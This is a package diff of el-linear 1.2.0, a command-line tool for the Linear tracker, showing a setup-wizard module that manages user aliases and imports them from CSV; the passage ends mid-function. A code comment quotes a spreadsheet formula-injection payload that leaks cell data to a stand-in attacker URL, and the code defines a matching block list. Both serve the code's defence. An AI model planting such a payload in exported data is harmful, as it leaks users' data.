@enrichlayer/el-linear 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +219 -0
- package/claude-skills/linear-operations/SKILL.md +315 -0
- package/claude-skills/linear-operations/evals/evals.json +46 -0
- package/dist/commands/attachments.d.ts +2 -0
- package/dist/commands/attachments.js +57 -0
- package/dist/commands/batch.d.ts +2 -0
- package/dist/commands/batch.js +309 -0
- package/dist/commands/comments.d.ts +2 -0
- package/dist/commands/comments.js +272 -0
- package/dist/commands/config.d.ts +2 -0
- package/dist/commands/config.js +15 -0
- package/dist/commands/cycles.d.ts +2 -0
- package/dist/commands/cycles.js +63 -0
- package/dist/commands/documents.d.ts +2 -0
- package/dist/commands/documents.js +175 -0
- package/dist/commands/embeds.d.ts +2 -0
- package/dist/commands/embeds.js +65 -0
- package/dist/commands/gdoc.d.ts +2 -0
- package/dist/commands/gdoc.js +37 -0
- package/dist/commands/graphql.d.ts +2 -0
- package/dist/commands/graphql.js +70 -0
- package/dist/commands/init/aliases.d.ts +109 -0
- package/dist/commands/init/aliases.js +569 -0
- package/dist/commands/init/defaults.d.ts +25 -0
- package/dist/commands/init/defaults.js +112 -0
- package/dist/commands/init/index.d.ts +18 -0
- package/dist/commands/init/index.js +182 -0
- package/dist/commands/init/shared.d.ts +88 -0
- package/dist/commands/init/shared.js +164 -0
- package/dist/commands/init/token.d.ts +50 -0
- package/dist/commands/init/token.js +141 -0
- package/dist/commands/init/workspace.d.ts +20 -0
- package/dist/commands/init/workspace.js +80 -0
- package/dist/commands/issue-id.d.ts +28 -0
- package/dist/commands/issue-id.js +81 -0
- package/dist/commands/issues.d.ts +2 -0
- package/dist/commands/issues.js +1145 -0
- package/dist/commands/labels.d.ts +2 -0
- package/dist/commands/labels.js +100 -0
- package/dist/commands/project-milestones.d.ts +2 -0
- package/dist/commands/project-milestones.js +143 -0
- package/dist/commands/projects.d.ts +2 -0
- package/dist/commands/projects.js +336 -0
- package/dist/commands/read-shortcut.d.ts +6 -0
- package/dist/commands/read-shortcut.js +69 -0
- package/dist/commands/releases.d.ts +2 -0
- package/dist/commands/releases.js +142 -0
- package/dist/commands/search.d.ts +2 -0
- package/dist/commands/search.js +171 -0
- package/dist/commands/teams.d.ts +2 -0
- package/dist/commands/teams.js +19 -0
- package/dist/commands/templates.d.ts +2 -0
- package/dist/commands/templates.js +58 -0
- package/dist/commands/users.d.ts +2 -0
- package/dist/commands/users.js +17 -0
- package/dist/config/config.d.ts +43 -0
- package/dist/config/config.js +81 -0
- package/dist/config/issue-validation.d.ts +39 -0
- package/dist/config/issue-validation.js +264 -0
- package/dist/config/paths.d.ts +20 -0
- package/dist/config/paths.js +22 -0
- package/dist/config/resolver.d.ts +25 -0
- package/dist/config/resolver.js +183 -0
- package/dist/config/status-defaults.d.ts +13 -0
- package/dist/config/status-defaults.js +20 -0
- package/dist/config/term-enforcer.d.ts +31 -0
- package/dist/config/term-enforcer.js +69 -0
- package/dist/main.d.ts +2 -0
- package/dist/main.js +76 -0
- package/dist/queries/attachments.d.ts +3 -0
- package/dist/queries/attachments.js +35 -0
- package/dist/queries/comments.d.ts +3 -0
- package/dist/queries/comments.js +64 -0
- package/dist/queries/common.d.ts +2 -0
- package/dist/queries/common.js +109 -0
- package/dist/queries/cycles.d.ts +2 -0
- package/dist/queries/cycles.js +40 -0
- package/dist/queries/documents.d.ts +5 -0
- package/dist/queries/documents.js +67 -0
- package/dist/queries/introspect.d.ts +2 -0
- package/dist/queries/introspect.js +24 -0
- package/dist/queries/issues.d.ts +23 -0
- package/dist/queries/issues.js +380 -0
- package/dist/queries/labels.d.ts +4 -0
- package/dist/queries/labels.js +53 -0
- package/dist/queries/project-milestones.d.ts +6 -0
- package/dist/queries/project-milestones.js +125 -0
- package/dist/queries/projects.d.ts +7 -0
- package/dist/queries/projects.js +104 -0
- package/dist/queries/releases.d.ts +4 -0
- package/dist/queries/releases.js +85 -0
- package/dist/queries/search.d.ts +1 -0
- package/dist/queries/search.js +35 -0
- package/dist/queries/templates.d.ts +2 -0
- package/dist/queries/templates.js +30 -0
- package/dist/types/linear.d.ts +217 -0
- package/dist/types/linear.js +6 -0
- package/dist/utils/auth.d.ts +4 -0
- package/dist/utils/auth.js +23 -0
- package/dist/utils/auto-link-references.d.ts +47 -0
- package/dist/utils/auto-link-references.js +188 -0
- package/dist/utils/date-format.d.ts +4 -0
- package/dist/utils/date-format.js +8 -0
- package/dist/utils/download-uploads.d.ts +7 -0
- package/dist/utils/download-uploads.js +88 -0
- package/dist/utils/embed-parser.d.ts +8 -0
- package/dist/utils/embed-parser.js +54 -0
- package/dist/utils/error-messages.d.ts +4 -0
- package/dist/utils/error-messages.js +17 -0
- package/dist/utils/file-service.d.ts +13 -0
- package/dist/utils/file-service.js +239 -0
- package/dist/utils/gdoc-parser.d.ts +45 -0
- package/dist/utils/gdoc-parser.js +107 -0
- package/dist/utils/graphql-attachments-service.d.ts +12 -0
- package/dist/utils/graphql-attachments-service.js +46 -0
- package/dist/utils/graphql-documents-service.d.ts +18 -0
- package/dist/utils/graphql-documents-service.js +97 -0
- package/dist/utils/graphql-issues-service.d.ts +49 -0
- package/dist/utils/graphql-issues-service.js +925 -0
- package/dist/utils/graphql-service.d.ts +8 -0
- package/dist/utils/graphql-service.js +35 -0
- package/dist/utils/identifier-parser.d.ts +7 -0
- package/dist/utils/identifier-parser.js +20 -0
- package/dist/utils/issue-reference-extractor.d.ts +18 -0
- package/dist/utils/issue-reference-extractor.js +95 -0
- package/dist/utils/issue-reference-wrapper.d.ts +12 -0
- package/dist/utils/issue-reference-wrapper.js +91 -0
- package/dist/utils/linear-service.d.ts +26 -0
- package/dist/utils/linear-service.js +442 -0
- package/dist/utils/logger.d.ts +4 -0
- package/dist/utils/logger.js +8 -0
- package/dist/utils/markdown-prosemirror.d.ts +24 -0
- package/dist/utils/markdown-prosemirror.js +325 -0
- package/dist/utils/mention-resolver.d.ts +31 -0
- package/dist/utils/mention-resolver.js +234 -0
- package/dist/utils/output.d.ts +7 -0
- package/dist/utils/output.js +125 -0
- package/dist/utils/table-formatter.d.ts +4 -0
- package/dist/utils/table-formatter.js +249 -0
- package/dist/utils/usage.d.ts +2 -0
- package/dist/utils/usage.js +24 -0
- package/dist/utils/uuid.d.ts +2 -0
- package/dist/utils/uuid.js +8 -0
- package/dist/utils/validate-references.d.ts +10 -0
- package/dist/utils/validate-references.js +33 -0
- package/dist/utils/validators.d.ts +7 -0
- package/dist/utils/validators.js +71 -0
- package/dist/utils/workspace-url.d.ts +4 -0
- package/dist/utils/workspace-url.js +44 -0
- package/package.json +71 -0
|
@@ -0,0 +1,569 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Step 3 of the wizard: member aliases.
|
|
3
|
+
*
|
|
4
|
+
* For each Linear user in the workspace, the user can add short aliases,
|
|
5
|
+
* GitHub handles, and GitLab handles used for resolution. Skip-by-default
|
|
6
|
+
* (most users skip this and only fill in the people they @-mention often).
|
|
7
|
+
*
|
|
8
|
+
* Idempotent: re-running shows the current aliases per user and offers a
|
|
9
|
+
* 4-way menu (keep / edit / append / clear) plus quit. Progress is persisted
|
|
10
|
+
* so an interrupted walk can be resumed via `el-linear init aliases`.
|
|
11
|
+
*/
|
|
12
|
+
import fs from "node:fs/promises";
|
|
13
|
+
import { confirm, input, select } from "@inquirer/prompts";
|
|
14
|
+
import { GraphQLService } from "../../utils/graphql-service.js";
|
|
15
|
+
import { clearAliasesProgress, parseCsvList, readAliasesProgress, writeAliasesProgress, } from "./shared.js";
|
|
16
|
+
const USERS_QUERY = /* GraphQL */ `
|
|
17
|
+
query InitUsers($first: Int!, $after: String) {
|
|
18
|
+
users(first: $first, after: $after, includeDisabled: false) {
|
|
19
|
+
pageInfo { endCursor hasNextPage }
|
|
20
|
+
nodes { id name email displayName active }
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
`;
|
|
24
|
+
export async function fetchAllUsers(token) {
|
|
25
|
+
const service = new GraphQLService(token);
|
|
26
|
+
const out = [];
|
|
27
|
+
let after;
|
|
28
|
+
for (;;) {
|
|
29
|
+
const data = await service.rawRequest(USERS_QUERY, {
|
|
30
|
+
first: 100,
|
|
31
|
+
after,
|
|
32
|
+
});
|
|
33
|
+
for (const u of data.users.nodes) {
|
|
34
|
+
if (!u.active)
|
|
35
|
+
continue;
|
|
36
|
+
out.push({
|
|
37
|
+
id: u.id,
|
|
38
|
+
name: u.name,
|
|
39
|
+
email: u.email,
|
|
40
|
+
displayName: u.displayName ?? u.name,
|
|
41
|
+
});
|
|
42
|
+
}
|
|
43
|
+
if (!data.users.pageInfo.hasNextPage || !data.users.pageInfo.endCursor)
|
|
44
|
+
break;
|
|
45
|
+
after = data.users.pageInfo.endCursor;
|
|
46
|
+
}
|
|
47
|
+
return out;
|
|
48
|
+
}
|
|
49
|
+
/**
|
|
50
|
+
* Find groups of users sharing the same display name. The current alias
|
|
51
|
+
* config keys aliases by display name, so colliding users would silently
|
|
52
|
+
* overwrite each other's entries. Detection is exported so the wizard can
|
|
53
|
+
* warn + skip those users; a follow-up (1.3.0) will migrate the on-disk
|
|
54
|
+
* schema to UUID-keyed maps.
|
|
55
|
+
*/
|
|
56
|
+
export function findDisplayNameCollisions(users) {
|
|
57
|
+
const byName = new Map();
|
|
58
|
+
for (const u of users) {
|
|
59
|
+
const list = byName.get(u.displayName);
|
|
60
|
+
if (list)
|
|
61
|
+
list.push(u);
|
|
62
|
+
else
|
|
63
|
+
byName.set(u.displayName, [u]);
|
|
64
|
+
}
|
|
65
|
+
const collisions = new Map();
|
|
66
|
+
for (const [name, group] of byName) {
|
|
67
|
+
if (group.length > 1)
|
|
68
|
+
collisions.set(name, group);
|
|
69
|
+
}
|
|
70
|
+
return collisions;
|
|
71
|
+
}
|
|
72
|
+
/** Apply a HandleAction to a `{ handle: fullName }` map for one user. */
|
|
73
|
+
function applyHandleAction(handlesMap, fullName, action) {
|
|
74
|
+
if (action.kind === "keep")
|
|
75
|
+
return;
|
|
76
|
+
const currentKeys = Object.entries(handlesMap)
|
|
77
|
+
.filter(([_, v]) => v === fullName)
|
|
78
|
+
.map(([k]) => k);
|
|
79
|
+
for (const k of currentKeys)
|
|
80
|
+
delete handlesMap[k];
|
|
81
|
+
if (action.kind === "set" && action.value.trim()) {
|
|
82
|
+
handlesMap[action.value.trim()] = fullName;
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
/**
|
|
86
|
+
* Merge new alias entries into existing config without dropping unrelated
|
|
87
|
+
* fields. Pure function — no I/O. Exported for testing.
|
|
88
|
+
*/
|
|
89
|
+
export function mergeAliasesIntoConfig(existing, updates) {
|
|
90
|
+
const next = JSON.parse(JSON.stringify(existing));
|
|
91
|
+
next.members = next.members ?? {};
|
|
92
|
+
next.members.aliases = next.members.aliases ?? {};
|
|
93
|
+
next.members.fullNames = next.members.fullNames ?? {};
|
|
94
|
+
next.members.handles = next.members.handles ?? {};
|
|
95
|
+
next.members.uuids = next.members.uuids ?? {};
|
|
96
|
+
next.members.handles.github = next.members.handles.github ?? {};
|
|
97
|
+
next.members.handles.gitlab = next.members.handles.gitlab ?? {};
|
|
98
|
+
for (const [userId, update] of updates) {
|
|
99
|
+
const fullName = update.displayName;
|
|
100
|
+
next.members.uuids[fullName] = userId;
|
|
101
|
+
next.members.fullNames[userId] = fullName;
|
|
102
|
+
// Aliases: replace this user's entries based on the update mode.
|
|
103
|
+
// We track aliases as { aliasKey: fullName }, so removing means deleting
|
|
104
|
+
// any keys whose value is this fullName.
|
|
105
|
+
const currentAliasKeys = Object.entries(next.members.aliases)
|
|
106
|
+
.filter(([_, v]) => v === fullName)
|
|
107
|
+
.map(([k]) => k);
|
|
108
|
+
if (update.mode === "clear") {
|
|
109
|
+
for (const k of currentAliasKeys)
|
|
110
|
+
delete next.members.aliases[k];
|
|
111
|
+
}
|
|
112
|
+
else if (update.mode === "edit") {
|
|
113
|
+
for (const k of currentAliasKeys)
|
|
114
|
+
delete next.members.aliases[k];
|
|
115
|
+
for (const a of update.aliases)
|
|
116
|
+
next.members.aliases[a] = fullName;
|
|
117
|
+
}
|
|
118
|
+
else if (update.mode === "append") {
|
|
119
|
+
for (const a of update.aliases)
|
|
120
|
+
next.members.aliases[a] = fullName;
|
|
121
|
+
}
|
|
122
|
+
// "keep" → no changes.
|
|
123
|
+
// GitHub / GitLab handles use the same edit/append/clear semantics,
|
|
124
|
+
// driven by the discriminated HandleAction per platform.
|
|
125
|
+
for (const platform of HANDLE_PLATFORMS) {
|
|
126
|
+
applyHandleAction(next.members.handles[platform], fullName, update[platform]);
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
return next;
|
|
130
|
+
}
|
|
131
|
+
/** Set of supported platforms for member handle keys. */
|
|
132
|
+
export const HANDLE_PLATFORMS = ["github", "gitlab"];
|
|
133
|
+
function currentAliasesFor(config, fullName) {
|
|
134
|
+
const aliases = config.members?.aliases ?? {};
|
|
135
|
+
return Object.entries(aliases)
|
|
136
|
+
.filter(([_, v]) => v === fullName)
|
|
137
|
+
.map(([k]) => k);
|
|
138
|
+
}
|
|
139
|
+
function currentHandleFor(config, platform, fullName) {
|
|
140
|
+
const handles = config.members?.handles?.[platform] ?? {};
|
|
141
|
+
for (const [k, v] of Object.entries(handles)) {
|
|
142
|
+
if (v === fullName)
|
|
143
|
+
return k;
|
|
144
|
+
}
|
|
145
|
+
return undefined;
|
|
146
|
+
}
|
|
147
|
+
/**
|
|
148
|
+
* Walk users one-by-one. Returns updates keyed by user UUID. Caller writes
|
|
149
|
+
* them back via `mergeAliasesIntoConfig`. The CSV import path is a separate
|
|
150
|
+
* entrypoint (`runAliasesImport`) — there's no `importCsv` option on this
|
|
151
|
+
* function, since the index.ts handler picks one or the other.
|
|
152
|
+
*/
|
|
153
|
+
export async function runAliasesStep(token, existing, options = {}) {
|
|
154
|
+
const proceed = options.force
|
|
155
|
+
? true
|
|
156
|
+
: await confirm({
|
|
157
|
+
message: "Walk through users now to add aliases? Most teams skip this and add aliases later " +
|
|
158
|
+
"via `el-linear init aliases` for the people they @-mention often.",
|
|
159
|
+
default: false,
|
|
160
|
+
});
|
|
161
|
+
if (!proceed) {
|
|
162
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
163
|
+
console.log(" Skipped — run `el-linear init aliases` to add or edit aliases later.");
|
|
164
|
+
return new Map();
|
|
165
|
+
}
|
|
166
|
+
const allUsers = await fetchAllUsers(token);
|
|
167
|
+
if (allUsers.length === 0) {
|
|
168
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
169
|
+
console.log(" No active users visible to this token.");
|
|
170
|
+
return new Map();
|
|
171
|
+
}
|
|
172
|
+
// Skip users whose display name collides with another active user. The
|
|
173
|
+
// current schema keys aliases by display name, so writing aliases for a
|
|
174
|
+
// colliding user would corrupt the other user's entries. A schema migration
|
|
175
|
+
// to UUID-keyed maps is queued for 1.3.0.
|
|
176
|
+
const collisions = findDisplayNameCollisions(allUsers);
|
|
177
|
+
const collidingIds = new Set();
|
|
178
|
+
if (collisions.size > 0) {
|
|
179
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
180
|
+
console.log(` ⚠ ${collisions.size} display name(s) are shared by multiple active users — skipping those to avoid alias corruption:`);
|
|
181
|
+
for (const [name, group] of collisions) {
|
|
182
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
183
|
+
console.log(` "${name}" — ${group.map((u) => u.email ?? u.id).join(", ")}`);
|
|
184
|
+
for (const u of group)
|
|
185
|
+
collidingIds.add(u.id);
|
|
186
|
+
}
|
|
187
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
188
|
+
console.log(" (Add aliases manually in ~/.config/el-linear/config.json for now; schema migration in 1.3.0.)");
|
|
189
|
+
}
|
|
190
|
+
const users = allUsers.filter((u) => !collidingIds.has(u.id));
|
|
191
|
+
if (users.length === 0) {
|
|
192
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
193
|
+
console.log(" No safe-to-alias users remain after collision filter.");
|
|
194
|
+
return new Map();
|
|
195
|
+
}
|
|
196
|
+
const startIdx = await resolveResumePoint(users);
|
|
197
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
198
|
+
console.log(` Walking ${users.length - startIdx}/${users.length} users. Type 'q' at any prompt to stop and save progress.`);
|
|
199
|
+
const updates = new Map();
|
|
200
|
+
let lastCompletedIdx = startIdx - 1;
|
|
201
|
+
const saveProgress = async () => {
|
|
202
|
+
if (lastCompletedIdx < 0)
|
|
203
|
+
return;
|
|
204
|
+
await writeAliasesProgress({
|
|
205
|
+
lastCompletedUserId: users[lastCompletedIdx].id,
|
|
206
|
+
totalUsers: users.length,
|
|
207
|
+
savedAt: new Date().toISOString(),
|
|
208
|
+
});
|
|
209
|
+
};
|
|
210
|
+
try {
|
|
211
|
+
for (let i = startIdx; i < users.length; i++) {
|
|
212
|
+
const u = users[i];
|
|
213
|
+
const update = await promptForUser(i + 1, users.length, u, existing);
|
|
214
|
+
if (update === "quit") {
|
|
215
|
+
await saveProgress();
|
|
216
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
217
|
+
console.log(` Saved progress at ${lastCompletedIdx + 1}/${users.length}. Resume with \`el-linear init aliases\`.`);
|
|
218
|
+
return updates;
|
|
219
|
+
}
|
|
220
|
+
if (update.mode !== "keep" ||
|
|
221
|
+
update.github.kind !== "keep" ||
|
|
222
|
+
update.gitlab.kind !== "keep") {
|
|
223
|
+
updates.set(u.id, update);
|
|
224
|
+
}
|
|
225
|
+
lastCompletedIdx = i;
|
|
226
|
+
}
|
|
227
|
+
await clearAliasesProgress();
|
|
228
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
229
|
+
console.log(` ✓ Walked all ${users.length} users.`);
|
|
230
|
+
return updates;
|
|
231
|
+
}
|
|
232
|
+
catch (err) {
|
|
233
|
+
// Save what we have on unexpected error so the user can resume.
|
|
234
|
+
if (lastCompletedIdx >= startIdx)
|
|
235
|
+
await saveProgress();
|
|
236
|
+
throw err;
|
|
237
|
+
}
|
|
238
|
+
}
|
|
239
|
+
/**
|
|
240
|
+
* Decide where to resume the user-walk. Looks up the saved
|
|
241
|
+
* `lastCompletedUserId` in the freshly-fetched user list:
|
|
242
|
+
* - found → resume at the next index after that user
|
|
243
|
+
* - not found → the workspace changed (user removed/disabled). Start over.
|
|
244
|
+
* - no progress → start at 0
|
|
245
|
+
*
|
|
246
|
+
* Keying by UUID instead of index means a user being removed or added
|
|
247
|
+
* between runs no longer silently misaligns the resume point onto the
|
|
248
|
+
* wrong person.
|
|
249
|
+
*/
|
|
250
|
+
async function resolveResumePoint(users) {
|
|
251
|
+
const progress = await readAliasesProgress();
|
|
252
|
+
if (!progress?.lastCompletedUserId)
|
|
253
|
+
return 0;
|
|
254
|
+
const idx = users.findIndex((u) => u.id === progress.lastCompletedUserId);
|
|
255
|
+
if (idx < 0) {
|
|
256
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
257
|
+
console.log(" Saved progress points at a user no longer in the workspace. Starting over.");
|
|
258
|
+
await clearAliasesProgress();
|
|
259
|
+
return 0;
|
|
260
|
+
}
|
|
261
|
+
const resume = await confirm({
|
|
262
|
+
message: `Resume from user ${idx + 2}/${users.length}? (saved ${progress.savedAt})`,
|
|
263
|
+
default: true,
|
|
264
|
+
});
|
|
265
|
+
if (resume)
|
|
266
|
+
return idx + 1;
|
|
267
|
+
await clearAliasesProgress();
|
|
268
|
+
return 0;
|
|
269
|
+
}
|
|
270
|
+
async function promptForUser(index, total, user, existing) {
|
|
271
|
+
const fullName = user.displayName;
|
|
272
|
+
const currentAliases = currentAliasesFor(existing, fullName);
|
|
273
|
+
const currentGithub = currentHandleFor(existing, "github", fullName);
|
|
274
|
+
const currentGitlab = currentHandleFor(existing, "gitlab", fullName);
|
|
275
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
276
|
+
console.log(`\n [${index}/${total}] ${fullName}${user.email ? ` <${user.email}>` : ""}`);
|
|
277
|
+
if (currentAliases.length > 0) {
|
|
278
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
279
|
+
console.log(` Current aliases: ${currentAliases.join(", ")}`);
|
|
280
|
+
}
|
|
281
|
+
if (currentGithub) {
|
|
282
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
283
|
+
console.log(` Current GitHub: ${currentGithub}`);
|
|
284
|
+
}
|
|
285
|
+
if (currentGitlab) {
|
|
286
|
+
// biome-ignore lint/suspicious/noConsole: wizard
|
|
287
|
+
console.log(` Current GitLab: ${currentGitlab}`);
|
|
288
|
+
}
|
|
289
|
+
const action = await select({
|
|
290
|
+
message: currentAliases.length > 0 ? "Action:" : "Add aliases for this user?",
|
|
291
|
+
choices: [
|
|
292
|
+
{ name: "Keep as-is (skip this user)", value: "keep" },
|
|
293
|
+
{
|
|
294
|
+
name: currentAliases.length > 0 ? "Edit (replace aliases)" : "Add aliases",
|
|
295
|
+
value: "edit",
|
|
296
|
+
},
|
|
297
|
+
...(currentAliases.length > 0
|
|
298
|
+
? [
|
|
299
|
+
{
|
|
300
|
+
name: "Append (keep current + add more)",
|
|
301
|
+
value: "append",
|
|
302
|
+
},
|
|
303
|
+
{
|
|
304
|
+
name: "Clear (remove all aliases for this user)",
|
|
305
|
+
value: "clear",
|
|
306
|
+
},
|
|
307
|
+
]
|
|
308
|
+
: []),
|
|
309
|
+
{ name: "Quit (save progress, exit walk)", value: "quit" },
|
|
310
|
+
],
|
|
311
|
+
default: "keep",
|
|
312
|
+
});
|
|
313
|
+
if (action === "quit")
|
|
314
|
+
return "quit";
|
|
315
|
+
if (action === "keep") {
|
|
316
|
+
return {
|
|
317
|
+
displayName: fullName,
|
|
318
|
+
mode: "keep",
|
|
319
|
+
aliases: [],
|
|
320
|
+
github: { kind: "keep" },
|
|
321
|
+
gitlab: { kind: "keep" },
|
|
322
|
+
};
|
|
323
|
+
}
|
|
324
|
+
if (action === "clear") {
|
|
325
|
+
return {
|
|
326
|
+
displayName: fullName,
|
|
327
|
+
mode: "clear",
|
|
328
|
+
aliases: [],
|
|
329
|
+
github: currentGithub ? { kind: "clear" } : { kind: "keep" },
|
|
330
|
+
gitlab: currentGitlab ? { kind: "clear" } : { kind: "keep" },
|
|
331
|
+
};
|
|
332
|
+
}
|
|
333
|
+
// edit / append: collect aliases + handles
|
|
334
|
+
const aliasesRaw = await input({
|
|
335
|
+
message: "Aliases (comma-separated, blank to skip):",
|
|
336
|
+
default: action === "edit" ? currentAliases.join(", ") : "",
|
|
337
|
+
});
|
|
338
|
+
const githubRaw = await input({
|
|
339
|
+
message: "GitHub handle (blank to skip):",
|
|
340
|
+
default: currentGithub ?? "",
|
|
341
|
+
});
|
|
342
|
+
const gitlabRaw = await input({
|
|
343
|
+
message: "GitLab handle (blank to skip):",
|
|
344
|
+
default: currentGitlab ?? "",
|
|
345
|
+
});
|
|
346
|
+
return {
|
|
347
|
+
displayName: fullName,
|
|
348
|
+
mode: action,
|
|
349
|
+
aliases: parseCsvList(aliasesRaw),
|
|
350
|
+
github: handleActionFromInput(githubRaw, currentGithub),
|
|
351
|
+
gitlab: handleActionFromInput(gitlabRaw, currentGitlab),
|
|
352
|
+
};
|
|
353
|
+
}
|
|
354
|
+
/**
|
|
355
|
+
* Translate the raw user input for a handle into a HandleAction:
|
|
356
|
+
* - input matches the existing value (or both empty) → keep
|
|
357
|
+
* - input is empty + existing was set → clear
|
|
358
|
+
* - input is non-empty + differs from existing → set
|
|
359
|
+
*/
|
|
360
|
+
function handleActionFromInput(rawInput, existing) {
|
|
361
|
+
const current = existing ?? "";
|
|
362
|
+
if (rawInput === current)
|
|
363
|
+
return { kind: "keep" };
|
|
364
|
+
const trimmed = rawInput.trim();
|
|
365
|
+
if (!trimmed)
|
|
366
|
+
return { kind: "clear" };
|
|
367
|
+
return { kind: "set", value: trimmed };
|
|
368
|
+
}
|
|
369
|
+
export async function runAliasesImport(token, csvPath) {
|
|
370
|
+
const raw = await fs.readFile(csvPath, "utf8");
|
|
371
|
+
const rows = parseCsv(raw);
|
|
372
|
+
const users = await fetchAllUsers(token);
|
|
373
|
+
const byEmail = new Map();
|
|
374
|
+
for (const u of users) {
|
|
375
|
+
if (u.email)
|
|
376
|
+
byEmail.set(u.email.toLowerCase(), u);
|
|
377
|
+
}
|
|
378
|
+
const updates = new Map();
|
|
379
|
+
const skipped = [];
|
|
380
|
+
for (const row of rows) {
|
|
381
|
+
const email = (row.email ?? "").trim().toLowerCase();
|
|
382
|
+
if (!email)
|
|
383
|
+
continue;
|
|
384
|
+
const user = byEmail.get(email);
|
|
385
|
+
if (!user) {
|
|
386
|
+
skipped.push(email);
|
|
387
|
+
continue;
|
|
388
|
+
}
|
|
389
|
+
updates.set(user.id, {
|
|
390
|
+
displayName: user.displayName,
|
|
391
|
+
mode: "edit",
|
|
392
|
+
aliases: parseCsvList(row.aliases ?? ""),
|
|
393
|
+
github: row.github?.trim()
|
|
394
|
+
? { kind: "set", value: row.github.trim() }
|
|
395
|
+
: { kind: "keep" },
|
|
396
|
+
gitlab: row.gitlab?.trim()
|
|
397
|
+
? { kind: "set", value: row.gitlab.trim() }
|
|
398
|
+
: { kind: "keep" },
|
|
399
|
+
});
|
|
400
|
+
}
|
|
401
|
+
return { updates, skipped };
|
|
402
|
+
}
|
|
403
|
+
/**
|
|
404
|
+
* Single-pass character-state CSV parser. Handles RFC 4180 specifics that
|
|
405
|
+
* a split-by-newline approach gets wrong:
|
|
406
|
+
* - Cells with embedded newlines (legal when quoted)
|
|
407
|
+
* - Escaped quotes (`""` inside a quoted cell)
|
|
408
|
+
* - CRLF line endings
|
|
409
|
+
* - `#` comment lines (el-linear extension; only at line start)
|
|
410
|
+
*
|
|
411
|
+
* Sanitizes against CSV-formula-injection at parse time: any cell starting
|
|
412
|
+
* with `=`, `+`, `-`, `@`, `\t`, or `\r` is rejected. These would activate
|
|
413
|
+
* formulas if the resulting config were ever round-tripped to a spreadsheet
|
|
414
|
+
* (e.g. an alias of `=HYPERLINK("http://attacker/?leak="&A1)` would store
|
|
415
|
+
* verbatim today and fire the moment someone opened the export in Excel).
|
|
416
|
+
*/
|
|
417
|
+
export function parseCsv(text) {
|
|
418
|
+
const records = parseCsvRecords(text);
|
|
419
|
+
const cleaned = records.filter((cells) => {
|
|
420
|
+
// Drop blank lines and `#`-prefixed comment lines.
|
|
421
|
+
if (cells.length === 0)
|
|
422
|
+
return false;
|
|
423
|
+
if (cells.length === 1 && cells[0].trim() === "")
|
|
424
|
+
return false;
|
|
425
|
+
const first = cells[0];
|
|
426
|
+
if (first.trim().startsWith("#"))
|
|
427
|
+
return false;
|
|
428
|
+
return true;
|
|
429
|
+
});
|
|
430
|
+
if (cleaned.length === 0)
|
|
431
|
+
return [];
|
|
432
|
+
const header = cleaned[0].map((h) => h.trim().toLowerCase());
|
|
433
|
+
const rows = [];
|
|
434
|
+
for (let i = 1; i < cleaned.length; i++) {
|
|
435
|
+
const cells = cleaned[i];
|
|
436
|
+
const row = {};
|
|
437
|
+
for (let j = 0; j < header.length; j++) {
|
|
438
|
+
const value = (cells[j] ?? "").trim();
|
|
439
|
+
assertNoFormulaInjection(value);
|
|
440
|
+
const k = header[j];
|
|
441
|
+
row[k] = value;
|
|
442
|
+
}
|
|
443
|
+
rows.push(row);
|
|
444
|
+
}
|
|
445
|
+
return rows;
|
|
446
|
+
}
|
|
447
|
+
// `=+-@` are the OWASP-flagged formula-injection triggers in Excel/Google
|
|
448
|
+
// Sheets. Tab and CR are also mentioned in some guides, but our parser trims
|
|
449
|
+
// each cell before reaching this check, so leading whitespace is stripped
|
|
450
|
+
// regardless. Keep the list narrow to avoid false-positive rejections.
|
|
451
|
+
const FORMULA_PREFIXES = ["=", "+", "-", "@"];
|
|
452
|
+
function assertNoFormulaInjection(cell) {
|
|
453
|
+
if (cell.length === 0)
|
|
454
|
+
return;
|
|
455
|
+
const first = cell[0];
|
|
456
|
+
if (FORMULA_PREFIXES.includes(first)) {
|
|
457
|
+
throw new Error(`CSV cell starts with "${first}" — refusing to import to prevent ` +
|
|
458
|
+
`formula injection (cell: ${JSON.stringify(cell.slice(0, 40))}). ` +
|
|
459
|
+
`Prefix with a space if the value is intentional.`);
|
|
460
|
+
}
|
|
461
|
+
}
|
|
462
|
+
/**
|
|
463
|
+
* Tokenize a CSV document into records (each record is an array of cells).
|
|
464
|
+
* Walks character-by-character through a four-state machine:
|
|
465
|
+
* - cellStart: about to read a cell. Decide quoted vs. unquoted.
|
|
466
|
+
* - unquoted: reading an unquoted cell. , and newline terminate.
|
|
467
|
+
* - quoted: inside a quoted cell. " is the only terminator.
|
|
468
|
+
* - quotedEnd: just saw a " inside a quoted cell — `""` escapes; otherwise
|
|
469
|
+
* the cell is closed and we expect a delimiter.
|
|
470
|
+
*/
|
|
471
|
+
function parseCsvRecords(text) {
|
|
472
|
+
const records = [];
|
|
473
|
+
let row = [];
|
|
474
|
+
let cell = "";
|
|
475
|
+
let state = "cellStart";
|
|
476
|
+
const finishCell = () => {
|
|
477
|
+
row.push(cell);
|
|
478
|
+
cell = "";
|
|
479
|
+
state = "cellStart";
|
|
480
|
+
};
|
|
481
|
+
const finishRow = () => {
|
|
482
|
+
row.push(cell);
|
|
483
|
+
cell = "";
|
|
484
|
+
records.push(row);
|
|
485
|
+
row = [];
|
|
486
|
+
state = "cellStart";
|
|
487
|
+
};
|
|
488
|
+
for (let i = 0; i < text.length; i++) {
|
|
489
|
+
const ch = text[i];
|
|
490
|
+
